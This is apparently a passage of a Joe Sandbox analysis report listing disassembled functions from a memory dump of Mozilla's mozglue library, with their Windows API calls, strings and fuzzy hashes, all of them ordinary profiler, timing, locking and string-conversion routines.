Instruction Fuzzy Hash: D361E371B00201EFDF00DF69DC88F9A7BB4EB4A316F924229E91693780D731A858CB95

Function 6C536660 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 162threadCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(6C55F618), ref: 6C536694
GetThreadId.KERNEL32(?), ref: 6C5366B1
GetCurrentThreadId.KERNEL32 ref: 6C5366B9
memset.VCRUNTIME140(?,00000000,00000100), ref: 6C5366E1
EnterCriticalSection.KERNEL32(6C55F618), ref: 6C536734
GetCurrentProcess.KERNEL32 ref: 6C53673A
LeaveCriticalSection.KERNEL32(6C55F618), ref: 6C53676C
GetCurrentThread.KERNEL32 ref: 6C5367FC
memset.VCRUNTIME140(?,00000000,000002C8), ref: 6C536868
RtlCaptureContext.NTDLL ref: 6C53687F

Strings

WalkStack64, xrefs: 6C536890

Memory Dump Source

Source File: 00000000.00000002.2618484951.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2618465277.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618534099.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618593883.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618781596.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalCurrentSectionThread$memset$CaptureContextEnterInitializeLeaveProcess
String ID: WalkStack64
API String ID: 2357170935-3499369396
Opcode ID: 538c07907c586324a2f63a8d37cb20175f8d7096d3b8737add233d5c82d5b250
Instruction ID: 11469bbbd3b68dd6175c17ff3736780095ca8f9000ecd9ad94a2cd8fc4864b30
Opcode Fuzzy Hash: 538c07907c586324a2f63a8d37cb20175f8d7096d3b8737add233d5c82d5b250
Instruction Fuzzy Hash: 5E51CB71A09310AFDB11DF24CC48B5ABBF4BF89714F44492DF99887640EBB0E8088B92

Function 6C51DE60 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 135threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C4E4A68), ref: 6C51945E
Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C519470
Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C519482
Part of subcall function 6C519420: __Init_thread_footer.LIBCMT ref: 6C51949F

GetCurrentThreadId.KERNEL32 ref: 6C51DE73
GetCurrentThreadId.KERNEL32 ref: 6C51DF7D
AcquireSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51DF8A
ReleaseSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51DFC9
GetCurrentThreadId.KERNEL32 ref: 6C51DFF7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C51E000
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C4E4A68), ref: 6C51DE7B

Part of subcall function 6C5194D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5194EE
Part of subcall function 6C5194D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C519508

Part of subcall function 6C50CBE8: GetCurrentProcess.KERNEL32(?,6C4D31A7), ref: 6C50CBF1
Part of subcall function 6C50CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C4D31A7), ref: 6C50CBFA

?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C4E4A68), ref: 6C51DEB8
free.MOZGLUE(00000000,?,6C4E4A68), ref: 6C51DEFE
?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C51DF38

Strings

[I %d/%d] locked_profiler_stop, xrefs: 6C51DE83
<none>, xrefs: 6C51DFD7
[I %d/%d] profiler_set_process_name("%s", "%s"), xrefs: 6C51E00E

Memory Dump Source

Source File: 00000000.00000002.2618484951.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2618465277.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618534099.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618593883.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618781596.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CurrentThread$getenv$ExclusiveLockProcessRelease_getpid$AcquireBufferEnterExit@mozilla@@Init_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@ProfilerRegisterTerminate__acrt_iob_func__stdio_common_vfprintffree
String ID: <none>$[I %d/%d] locked_profiler_stop$[I %d/%d] profiler_set_process_name("%s", "%s")
API String ID: 1281939033-809102171
Opcode ID: 45a3ca69d39c5f93f90708d31dde6918dbf2ad04fd1dbd4990064904bcb0fbbb
Instruction ID: 256bd6afa5caf229f38b6bfb87e0c8d251b55abe561817ac6a8b1b33e2bbbe54
Opcode Fuzzy Hash: 45a3ca69d39c5f93f90708d31dde6918dbf2ad04fd1dbd4990064904bcb0fbbb
Instruction Fuzzy Hash: 24411335B05210DBEB11AF64DC0CBAABB75EB8230CF850219E90997F41DB719D05CBEA

Function 6C52D840 Relevance: 21.2, APIs: 14, Instructions: 206threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C52D85F
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C52D86C
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C52D918
GetCurrentThreadId.KERNEL32 ref: 6C52D93C
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C52D948
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C52D970
GetCurrentThreadId.KERNEL32 ref: 6C52D976
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C52D982
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C52D9CF
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C52DA2E
GetCurrentThreadId.KERNEL32 ref: 6C52DA6F
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C52DA78
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE ref: 6C52DA91

Part of subcall function 6C4F5C50: GetTickCount64.KERNEL32 ref: 6C4F5D40
Part of subcall function 6C4F5C50: EnterCriticalSection.KERNEL32(6C55F688), ref: 6C4F5D67

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C52DAB7

Memory Dump Source

Source File: 00000000.00000002.2618484951.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2618465277.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618534099.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618593883.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618781596.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Count64CriticalEnterSectionStampTickTimeV01@@Value@mozilla@@Xbad_function_call@std@@
String ID:
API String ID: 1195625958-0
Opcode ID: f4d3d21c9b26f589f5440881eb0881fa4221e0f2151b8c4934cfefdc83a26d75
Instruction ID: 8916d7fd69cbeb8d37a59bf9f06ae8ea45d4a3753c4ad7a5e9a6f24e443f89ba
Opcode Fuzzy Hash: f4d3d21c9b26f589f5440881eb0881fa4221e0f2151b8c4934cfefdc83a26d75
Instruction Fuzzy Hash: 1F71DF35604304DFCB00DF29C888B9ABBF5FF89314F59856EE85A9B341DB34A844CB95

Function 6C52D4D0 Relevance: 21.2, APIs: 14, Instructions: 165threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C52D4F0
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C52D4FC
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C52D52A
GetCurrentThreadId.KERNEL32 ref: 6C52D530
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C52D53F
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C52D55F
free.MOZGLUE(00000000), ref: 6C52D585
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C52D5D3
GetCurrentThreadId.KERNEL32 ref: 6C52D5F9
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C52D605
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C52D652
GetCurrentThreadId.KERNEL32 ref: 6C52D658
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C52D667
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C52D6A2

Memory Dump Source

Source File: 00000000.00000002.2618484951.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2618465277.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618534099.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618593883.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618781596.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Xbad_function_call@std@@free
String ID:
API String ID: 2206442479-0
Opcode ID: e601c92e9fe3f35f134f354ec6b9a79d4e82a6ed650940fe6fc3e3774757ca72
Instruction ID: 69f038ba679c794bb081c930b888cd97b4f0bc76348e35c3014c58d019c7716f
Opcode Fuzzy Hash: e601c92e9fe3f35f134f354ec6b9a79d4e82a6ed650940fe6fc3e3774757ca72
Instruction Fuzzy Hash: CA519A71A04705DFC704DF35C888A9ABBF4FF89318F418A2EE84A87751EB34A845CB95

Function 6C4D1E90 Relevance: 19.6, APIs: 9, Strings: 4, Instructions: 120COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C55E784), ref: 6C4D1EC1
LeaveCriticalSection.KERNEL32(6C55E784), ref: 6C4D1EE1
EnterCriticalSection.KERNEL32(6C55E744), ref: 6C4D1F38
LeaveCriticalSection.KERNEL32(6C55E744), ref: 6C4D1F5C
VirtualFree.KERNEL32(?,00100000,00004000), ref: 6C4D1F83
LeaveCriticalSection.KERNEL32(6C55E784), ref: 6C4D1FC0
EnterCriticalSection.KERNEL32(6C55E784), ref: 6C4D1FE2
LeaveCriticalSection.KERNEL32(6C55E784), ref: 6C4D1FF6
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C4D2019

Strings

\Ul, xrefs: 6C4D1F3E
DUl, xrefs: 6C4D1F32
MOZ_CRASH(), xrefs: 6C4D2000
DUl, xrefs: 6C4D1F56

Memory Dump Source

Source File: 00000000.00000002.2618484951.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2618465277.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618534099.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618593883.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618781596.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$FreeVirtualmemset
String ID: DUl$DUl$MOZ_CRASH()$\Ul
API String ID: 2055633661-2068375349
Opcode ID: a6914839e1b2a54c82352d206214396283bb29b3b4aaa1781c2957edc58b1ff1
Instruction ID: d366c1acbd2f46e2021185ea03c973e8368adda1a51b709d76b7704d6962875d
Opcode Fuzzy Hash: a6914839e1b2a54c82352d206214396283bb29b3b4aaa1781c2957edc58b1ff1
Instruction Fuzzy Hash: C541D471B043558FDF01EFA8CC98F6A36B5EB4A318F46012AED05D7741DBB5A8048BD6

Function 6C4F5670 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 272timeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_APP_RESTART), ref: 6C4F56D1
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C4F56E9
?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ.MOZGLUE ref: 6C4F56F1
?TicksFromMilliseconds@BaseTimeDurationPlatformUtils@mozilla@@SA_JN@Z.MOZGLUE ref: 6C4F5744
??0TimeStampValue@mozilla@@AAE@_K0_N@Z.MOZGLUE(?,?,?,?,?), ref: 6C4F57BC
GetTickCount64.KERNEL32 ref: 6C4F58CB
EnterCriticalSection.KERNEL32(6C55F688), ref: 6C4F58F3
__aulldiv.LIBCMT ref: 6C4F5945
LeaveCriticalSection.KERNEL32(6C55F688), ref: 6C4F59B2
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(6C55F638,?,?,?,?), ref: 6C4F59E9

Strings

MOZ_APP_RESTART, xrefs: 6C4F56CC

Memory Dump Source

Source File: 00000000.00000002.2618484951.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2618465277.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618534099.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618593883.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618781596.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampStamp@mozilla@@Value@mozilla@@$BaseComputeCount64DurationEnterFromLeaveMilliseconds@Now@PlatformProcessTickTicksUptime@Utils@mozilla@@V01@@V12@___aulldivgetenv
String ID: MOZ_APP_RESTART
API String ID: 2752551254-2657566371
Opcode ID: 59a8252c102372999f75276bb9520fd4b900e7e7d3d9b84e92812bd4e93fdc58
Instruction ID: 1f81bec8ea9434231b4946615ded6c2377a8b8f80fa253094258920f316f5e88
Opcode Fuzzy Hash: 59a8252c102372999f75276bb9520fd4b900e7e7d3d9b84e92812bd4e93fdc58
Instruction Fuzzy Hash: 6FC17E71A097409FD705CF28C840A6ABBF1BFCA714F568B1DE8D497760D730A986CB86

Function 6C51EC70 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C4E4A68), ref: 6C51945E
Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C519470
Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C519482
Part of subcall function 6C519420: __Init_thread_footer.LIBCMT ref: 6C51949F

GetCurrentThreadId.KERNEL32 ref: 6C51EC84
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C51EC8C

Part of subcall function 6C5194D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5194EE
Part of subcall function 6C5194D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C519508

GetCurrentThreadId.KERNEL32 ref: 6C51ECA1
AcquireSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51ECAE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000), ref: 6C51ECC5
ReleaseSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51ED0A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C51ED19
CloseHandle.KERNEL32(?), ref: 6C51ED28
free.MOZGLUE(00000000), ref: 6C51ED2F
ReleaseSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51ED59

Strings

[I %d/%d] profiler_ensure_started, xrefs: 6C51EC94

Memory Dump Source

Source File: 00000000.00000002.2618484951.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2618465277.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618534099.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618593883.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618781596.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: ExclusiveLockgetenv$CurrentReleaseThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] profiler_ensure_started
API String ID: 4057186437-125001283
Opcode ID: 8d584ac1419166d3ffa576f6ed290dddd7e0ffcdd65c59bab34e863e45445874
Instruction ID: 44e81e904be07cdde344a140e5e76e265843210b56465f102cc368b85304310c
Opcode Fuzzy Hash: 8d584ac1419166d3ffa576f6ed290dddd7e0ffcdd65c59bab34e863e45445874
Instruction Fuzzy Hash: 3721B175604104EBEB01AF24DC0CAAA7779EF8626CF954215F81897F40DB729C15CBA5

Function 6C518ED0 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 311COMMON

Download Yara Rule

APIs

Part of subcall function 6C4DEB30: free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C4DEB83

?FormatToStringSpan@MarkerSchema@mozilla@@CA?AV?$Span@$$CBD$0PPPPPPPP@@2@W4Format@12@@Z.MOZGLUE(?,?,00000004,?,?,?,?,?,?,6C51B392,?,?,00000001), ref: 6C5191F4

Part of subcall function 6C50CBE8: GetCurrentProcess.KERNEL32(?,6C4D31A7), ref: 6C50CBF1
Part of subcall function 6C50CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C4D31A7), ref: 6C50CBFA

Strings

timeline-overview, xrefs: 6C51907A
timeline-memory, xrefs: 6C519088
marker-chart, xrefs: 6C51905E
data, xrefs: 6C5190E8
timeline-fileio, xrefs: 6C5190A4
timeline-ipc, xrefs: 6C519096
marker-table, xrefs: 6C51906C
name, xrefs: 6C518F16
stack-chart, xrefs: 6C5190B2

Memory Dump Source

Source File: 00000000.00000002.2618484951.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2618465277.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618534099.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618593883.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618781596.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Process$CurrentFormatFormat@12@@MarkerP@@2@Schema@mozilla@@Span@Span@$$StringTerminatefree
String ID: data$marker-chart$marker-table$name$stack-chart$timeline-fileio$timeline-ipc$timeline-memory$timeline-overview
API String ID: 3790164461-3347204862
Opcode ID: f13f2b72f3b2805de5c4e6f1c9e768d16557aa677f191db6246ecca76af9e6a5
Instruction ID: 2a8c5b8f0021382e123008cf993b05bec37f93392e3b8ce5098ed5b4819074d7
Opcode Fuzzy Hash: f13f2b72f3b2805de5c4e6f1c9e768d16557aa677f191db6246ecca76af9e6a5
Instruction Fuzzy Hash: 50B1E2B0A042099BEF04DF98CC95BEEBBF5AF85318F504529D401ABF80D731A944CBD1

Function 6C4FC570 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 277stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C4FC5A3
WideCharToMultiByte.KERNEL32 ref: 6C4FC9EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C4FC9FB
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 6C4FCA12
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C4FCA2E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C4FCAA5

Strings

(null), xrefs: 6C4FC596
0, xrefs: 6C4FD30A

Memory Dump Source

Source File: 00000000.00000002.2618484951.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2618465277.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618534099.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618593883.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618781596.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: ByteCharMultiWidestrlen$freemalloc
String ID: (null)$0
API String ID: 4074790623-38302674
Opcode ID: f3ed80561efe086f2c51d09dd8ec525b9469132c6d77e2ac21c38cd79e076588
Instruction ID: 131f59af8c2609ce3024bce7f5502e95c97f38b17f1fce5291f6c55dfb3931be
Opcode Fuzzy Hash: f3ed80561efe086f2c51d09dd8ec525b9469132c6d77e2ac21c38cd79e076588
Instruction Fuzzy Hash: A9A1BD306083428FDB10DF28C944F5ABBF1AFC9759F09892DE9A997751D731E806CB82

Function 6C4FC769 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 159COMMON

Download Yara Rule

APIs

islower.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C4FC784
_dsign.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C4FC801
_dtest.API-MS-WIN-CRT-MATH-L1-1-0(?), ref: 6C4FC83D
?ToPrecision@DoubleToStringConverter@double_conversion@@QBE_NNHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C4FC891

Strings

INF, xrefs: 6C4FC794
inf, xrefs: 6C4FC78F
nan, xrefs: 6C4FC7A8
NAN, xrefs: 6C4FC7AD

Memory Dump Source

Source File: 00000000.00000002.2618484951.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2618465277.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618534099.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618593883.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618781596.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@DoublePrecision@_dsign_dtestislower
String ID: INF$NAN$inf$nan
API String ID: 1991403756-4166689840
Opcode ID: b92479472dce99f01f459b4d0fa9c24a4c46bd12c69a98eecf2c9d6c93e0a88e
Instruction ID: bd1afa378524406d481d46e2dc63b2f4ebfe15de956aa8bf15f6c3740a089084
Opcode Fuzzy Hash: b92479472dce99f01f459b4d0fa9c24a4c46bd12c69a98eecf2c9d6c93e0a88e
Instruction Fuzzy Hash: 3C5181705087448BD710EF2CC581E9AFBF0BFCA309F418A2DE9E597651E770D98A8B42

Function 6C4D3480 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 86librarytimeloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,6C4D3284,?,?,6C4F56F6), ref: 6C4D3492
GetProcessTimes.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,6C4D3284,?,?,6C4F56F6), ref: 6C4D34A9
LoadLibraryW.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,6C4D3284,?,?,6C4F56F6), ref: 6C4D34EF
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6C4D350E
__Init_thread_footer.LIBCMT ref: 6C4D3522
__aulldiv.LIBCMT ref: 6C4D3552
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,6C4D3284,?,?,6C4F56F6), ref: 6C4D357C
GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,6C4D3284,?,?,6C4F56F6), ref: 6C4D3592

Part of subcall function 6C50AB89: EnterCriticalSection.KERNEL32(6C55E370,?,?,?,6C4D34DE,6C55F6CC,?,?,?,?,?,?,?,6C4D3284), ref: 6C50AB94
Part of subcall function 6C50AB89: LeaveCriticalSection.KERNEL32(6C55E370,?,6C4D34DE,6C55F6CC,?,?,?,?,?,?,?,6C4D3284,?,?,6C4F56F6), ref: 6C50ABD1

Strings

kernel32.dll, xrefs: 6C4D34EA
GetSystemTimePreciseAsFileTime, xrefs: 6C4D3508

Memory Dump Source

Source File: 00000000.00000002.2618484951.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2618465277.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618534099.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618593883.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618781596.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalLibraryProcessSectionTime$AddressCurrentEnterFileFreeInit_thread_footerLeaveLoadProcSystemTimes__aulldiv
String ID: GetSystemTimePreciseAsFileTime$kernel32.dll
API String ID: 3634367004-706389432
Opcode ID: 799b978edc0cf77181387f26a8050722c0883f49f570a1ad621598f92da98376
Instruction ID: b9cf08172a744ab68f737a684ea1234d6ef50cd573da6dd9939a81aab9a2acc9
Opcode Fuzzy Hash: 799b978edc0cf77181387f26a8050722c0883f49f570a1ad621598f92da98376
Instruction Fuzzy Hash: ED31B371B001059BDF04EFB9CC68FAA77B5FB45319F96011AE501E37A0EB70A904CB64

Function 6C4D4480 Relevance: 16.8, APIs: 11, Instructions: 316COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(B60B60B8,?,?,?,?,6C514843,?), ref: 6C4D45F5
free.MOZGLUE(?,?,?,?,?,?,?,?,6C514843,?), ref: 6C4D468A
free.MOZGLUE(?,?,?,?,?,?,6C514843,?), ref: 6C4D46C9
free.MOZGLUE(?), ref: 6C4D46EF
free.MOZGLUE(?), ref: 6C4D4712
free.MOZGLUE(?), ref: 6C4D4735
free.MOZGLUE(?), ref: 6C4D4758
free.MOZGLUE(?), ref: 6C4D477B
free.MOZGLUE(?), ref: 6C4D479E

Memory Dump Source

Source File: 00000000.00000002.2618484951.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2618465277.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618534099.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618593883.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618781596.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: free$moz_xmalloc
String ID:
API String ID: 3009372454-0
Opcode ID: 504ae6e55fbd2be760361cd779713ed0b1e8e3c3a838583fce5668ca5c485f47
Instruction ID: ba781a238f04e8b5902a1b8fcc0f45dd04184d9909935983b201dc918463cd96
Opcode Fuzzy Hash: 504ae6e55fbd2be760361cd779713ed0b1e8e3c3a838583fce5668ca5c485f47
Instruction Fuzzy Hash: EDB11775A001508FDB18EF3CC8B4F6D77A1AF413A8F1A562DE416DBB82D731E8808B91

Function 6C53AC20 Relevance: 16.6, APIs: 11, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 6C53AC52
CreateFileMappingW.KERNEL32 ref: 6C53AC7D
